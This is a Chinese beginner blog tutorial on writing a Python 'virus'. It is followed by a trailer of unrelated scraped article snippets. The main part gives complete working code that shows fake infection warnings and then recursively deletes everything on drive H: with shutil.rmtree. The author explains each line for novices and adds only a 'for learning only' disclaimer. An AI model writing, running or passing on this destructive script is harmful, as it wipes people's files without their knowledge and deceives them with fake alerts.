如何用Python写病毒–USB病毒篇

人生苦短,我用Python!

hello 大家好!我是Mark,一个姓马名克的中国人。

最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”

“哎呀,没什么,我只是想试一下而已”
“喝,这简单!”

没错,这确实很简单。
所以,今天Mark就跟大家分享一下,如何通过Python写一个病毒

(注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)

一、环境搭建

本程序用Python编写,不会Python的小伙伴可以参照这篇博客
传送门!

我自己的环境是windows10,64位,pycharm,Python3.7

二、撸代码!

接下来,就可以开始写代码了!(本文不需要任何Python基础)

首先,上代码:

import os
import tkinter.messagebox
import shutil

这里很好理解,导入一些模块。

那么,会有零基础的朋友问了,什么是模块?

模块,就相当于文具盒

为什么这么比喻呢?

很简单,写一个代码,写一个程序,是不是就像完成一项作业?那么,完成作业需要什么呢?

没错,需要本子和笔。
那么现在,我们有了编辑器,是不是就有了本子,那笔去哪里了呢?

对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就相当于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……

所以,我们如果要用里面的笔,就必须要拿出这个文具盒,明白了?

接下来,继续上代码!

root = tkinter.Tk()
root.withdraw()

这个的作用是消除 tkinter 模块在运行时出现的主窗口。

其中

root = tkinter.Tk()

是定义变量名,
定义变量名更好理解了,大致可以理解为

给一个东西起一个新名字,更加简短,明了

下一行

root.withdraw()

是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是

从文具盒当中拿出一支笔,去使用它

接下来,下一段代码:

tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')

这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的:

然后,看下一段代码

filepath = os.listdir('H:\\')

这一行代码调用 os 模块,读取H盘下所有文件

res = len(filepath)

这一行,获取H盘下文件的数量

while res != 0:res -= 1sen = 'H:/' + str(filepath[res])shutil.rmtree(sen)

这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。

在这个循环语句当中,sen 变量储存了H盘下面所有文件的绝对路径。

最后一行,通过 shutil 模块中的 rmtree方法,删除 sen 目录下的所有文件

好了,最后贴一张整体图


然后是运行效果图

5.1.病毒运行演示

如何用Python写病毒相关推荐

  1. python剪刀石头布_如何用python写剪刀石头布

    如何用python写剪刀石头布 发布时间:2020-07-20 11:52:16 来源:亿速云 阅读:111 本篇文章给大家分享的是有关如何用python写剪刀石头布,小编觉得挺实用的,因此分享给大家 ...

  2. 贪吃蛇博弈算法python_算法应用实践:如何用Python写一个贪吃蛇AI

    原标题:算法应用实践:如何用Python写一个贪吃蛇AI 前言 这两天在网上看到一张让人涨姿势的图片,图片中展示的是贪吃蛇游戏, 估计大部分人都玩过.但如果仅仅是贪吃蛇游戏,那么它就没有什么让人涨姿势 ...

  3. python中select模块_基于python select.select模块通信的实例讲解 如何用python写个串口通信的程序...

    python socket怎么利用select实现双工通信 方法: Before : 0000000000000000000000000000000000000000 After pack: 0100 ...

  4. 用python写用手机发邮件_如何用python写发邮件?

    原标题:如何用python写发邮件? 1. 163邮箱 163邮箱需要设置客户端授权密码 请输入图片描述 # coding:utf-8 from email.header import Header ...

  5. [译] 如何用 Python 写一个 Discord 机器人

    原文地址:How to write a Discord bot in Python 原文作者:Junpei Shimotsu 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/go ...

  6. python小助手_如何用python写个人专属群聊提醒小助手?

    前言 大家还记得教会父母玩微信是什么时候吗?父母学会后,我们的生活就发生了「质」的变化,父母也许会吐槽你的微信头像不好,要你换一个头像. 最近 pk哥 又被母后大人吐槽了,原因是亲戚微信群里某个亲戚生 ...

  7. 手机版python3h如何自制游戏_教你如何用 Python 写一个小游戏

    教你如何用 Python 写一个小游戏 引言 最近 python 语言大火, 除了在科学计算领域 python 有用武之地之外, 在游戏后台等方面, python 也大放异彩, 本篇博文将按照正规的项 ...

  8. 如何用python写傅里叶级数

    如何用python写傅里叶级数 最近需要用到傅里叶级数来拟合曲线,了解到有三种库的写法 使用scipy 使用sympy 使用lmfit 首先是标准的傅里叶级数的数学表达式 周期为2l的傅式展开f(x) ...

  9. python workflow_如何用 Python 写 Alfred Workflow

    原标题:如何用 Python 写 Alfred Workflow 用 Mac 的同学应该都听过 Alfred,号称效率神器.但是,你有没有想过可以用 Python 自己写一个 Workflow 呢? ...

最新文章

  1. 用洪小文,人工智能予力永续未来
  2. CF724G Xor-matic Number of the Graph(线性基+组合数)
  3. 网络巨头秘修域名重大疏漏 互联网免遭黑客控制
  4. 游戏使用html签名,关于玩游戏的个性签名
  5. C语言90道试题资料
  6. 【Linux系统编程应用】Linux音频编程接口
  7. 【解析】在设计软件的模块结构时,()不能改进设计质量
  8. 分段函数if语句_C语言函数系列之库函数中基础必会函数(一)
  9. nginx php7 fastcgi,[Mac php7 nginx]解决nginx FastCGI sent in stderr: “Primary script unknown”
  10. 国庆档首日票房破2亿 长津湖票房占比过半
  11. c#实现程序的互斥运行
  12. Android中背景透明的Dialog
  13. SpringBoot系列(10):SpringBoot中的全局异常处理
  14. java生成 折线图
  15. 使用Jsoup实现网络爬虫
  16. zip、rar等密码破解软件
  17. tipask 3.5 出错get_class() expects parameter 1 to be object 解决方案及说明
  18. PAKDD2020:阿里巴巴算法大赛中的得与失
  19. matlab编写求解二阶常微分方程,求一个复杂的二阶常微分方程的数值解,不会写代码= =...
  20. Android_adb_Wifi_无线调试,脱离数据线/

热门文章

  1. 折腾黑苹果笔记本变砖——案例分析和拯救
  2. 想做外贸却没有头绪?来看看这篇文章
  3. php直播接口代码,网易云视频直播php版api
  4. 【翻译】普罗米修斯权威指南第三部分 - 普罗米修斯运营商
  5. 华侨大学计算机学院蔡绍滨,曾焕强-华侨大学-信息科学与工程学院
  6. 携程员工的幸福感又增加了!
  7. 编译—Makefile基础知识
  8. 1145: 有问题的里程表(2)C语言
  9. mysql中的smallint_数据库中SMALLINT什么意思?
  10. Sass Pass Iaas